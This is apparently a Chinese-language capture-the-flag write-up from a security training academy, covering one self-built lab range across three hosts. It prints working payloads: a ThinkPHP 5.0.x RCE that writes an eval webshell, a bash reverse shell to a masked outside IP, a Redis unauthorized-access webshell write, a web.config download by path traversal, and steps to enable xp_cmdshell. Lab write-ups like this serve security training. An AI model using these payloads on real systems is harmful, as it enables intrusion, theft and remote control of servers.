技术分享_三个自制靶机writeup(二)

点击上方蓝字关注我们

学习有境界,能力划段位,今天为大家带来自制靶机WriteUp三大段位之白银段位靶场设置,大家一起来看~~~

白银靶场

给定IP

172.30.10.97

考察知识点:

thinkphp RCE提权内网渗透暴力破解redis未授权

信息收集

端口扫描

利用nmap扫描端口

发现目标开放了18080和22端口

访问18080端口

发现为403,尝试扫目录

可以看到存在public目录,大胆猜测为thinkphp,访问public目录

thinkPHP网站,RCE一把梭

获取权限

首先可以看到版本为V5,利用报错页面查看具体版本

V5.0.15

执行命令Payload::18080//public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoamiphpinfo:18080/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1写webshell:18080//public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[c]);?>" > shell.php

会在pub目录下生成shell.php,菜刀连接

在服务器根目录看到flag1

flag1

flag{f07f9c6d597ffaa3afe}

权限提升

apache权限为www-data

使用ps -aux查看进程

root权限执行了根目录的start.sh

start.sh为一个循环,每60s执行/var/www/下的clear.sh文件,但start.sh没有权限修改

查看/var/www/clear.sh

#clear.shrm -rf /var/www/html/uploads/*

clear.sh作用为定时清理uploads目录下的文件

可以看到clear.sh文件权限为777,我们尝试在clear.sh中追加root命令

查找flag

find . -name flag* > /tmp/find.log

60s后在tmp目录下看到find.log文件

可以看到在/root目录下存在flag2

继续使用刚才方法获取flag2

cat /root/flag2 >/tmp/flag2

flag2

flag{1027d18c8215cedaa4e17ceef}

内网渗透

探测

发现另一网段

使用刚刚的clear.sh反弹一个shell

rm -rf /var/www/html/uploads/*bash -i >& /dev/tcp/1**.***.***.***/7777 0>&1

其中1**.***.***.***为公网服务器IP

公网服务器监听:nc -lvnp 7777

成功获取shell

使用如下命令进行内网探测

for k in $( seq 1 255);do ping -c 1 192.168.45.$k|grep "ttl"|awk -F "[ :]+" {print $4}; done

成功扫描出4个存活IP

192.168.45.10 

192.168.45.12 

192.168.45.16 

192.168.45.19

其中192.168.45.12为当前靶机IP,经过测试,192.168.45.10为网关IP,所以存活主机为16和19

192.168.45.16端口扫描

进行扫描端口,上传php大马至thinkphp靶机

发现开放80和6379端口

设置代理

使用reGeorg+Proxifier进行代理

将tunnel.nosocket.php上传至靶机

访问成功

本地运行

python3 reGeorgSocksProxy.py -p 9999 -u :18080/public/tunnel.nosocket.php

Proxifier配置

将chrome添加至规则

谷歌浏览器成功代理

redis未授权

尝试访问192.168.45.1680端口

发现为一个PHPinfo页面,尝试扫描目录没有任何结果,所以尝试6379端口,测试是否存在redis未授权漏洞

添加redis-cli至Proxifier至规则中

终端运行redis-cli -h 192.168.45.16

成功连接,通过刚才的phpinfo页面我们知道当前80端口Web根目录为/var/www/html

尝试使用redis未授权漏洞getshell

payload如下:

192.168.45.16:6379> config set dir /var/www/htmlOK(0.87s)192.168.45.16:6379> set shell "<?php eval($_POST[c])?>"OK192.168.45.16:6379> config set dbfilename webshell.phpOK192.168.45.16:6379> saveOK192.168.45.16:6379>

成功写入

将蚁剑加入Proxifier至规则中

成功getshell

在/var/www下发现flag3

flag3

flag{71816fcacbef5faa7b506e1}

192.168.45.19信息收集

经过端口扫描发现192.168.45.19发现开放1433和27384端口

27384端口运行着一个web服务

继续代理访问,发现为403

Windows server+IIS

发现存在robots.txt

flag4

Default.aspx为一个登陆页面

访问/admin/file_down.aspx出现报错

根据报错信息猜测存在任意文件下载,参数为file,因网站为aspx+IIS,尝试下载网站配置文件web.config

Payload:

:27384/admin/file_down.aspx?file=../../web.config

发现数据库密码,上边端口扫描看到1433端口对外开放,navicat连接(需要将navicat加入至Proxifier至规则中)

数据库中找到后台账号密码:admin/GoodLuck2018

登陆后台发现flag4

flag{e7a707fca28bc3ec7f59d0d5b2ce3e23}

获取权限

后台存在文件上传

仅允许图片文件

上传后在原文件名前加入了一串数字,我们尝试加长文件名将.jpg挤出去

蚁剑连接成功getshell

Web根目录看到flag5

flag5

flag{40ac7496e9bc368bdb7d94e1f543dc95}

权限提升

当前主机开放了1433端口

Web根目录还有一个web.config.

看到sa账户的密码,尝试xp_cmdshell提权

查看是否开启xp_cmdshell,如未开启,则执行

exec sp_configure show advanced options, 1;reconfigure;exec sp_configure xp_cmdshell,1;reconfigure;

接下来执行命令可执行系统命令

利用dir命令在桌面看到flag6

exec master..xp_cmdshell dir "C:/Documents and Settings\Administrator\桌面";

利用type命令打印flag

exec master..xp_cmdshell type "C:/Documents and Settings\Administrator\桌面\flag6.txt";flag6

flag{27a17252d0fc27bfb}

长按识别关注

扫描二维码

四叶草网络安全学院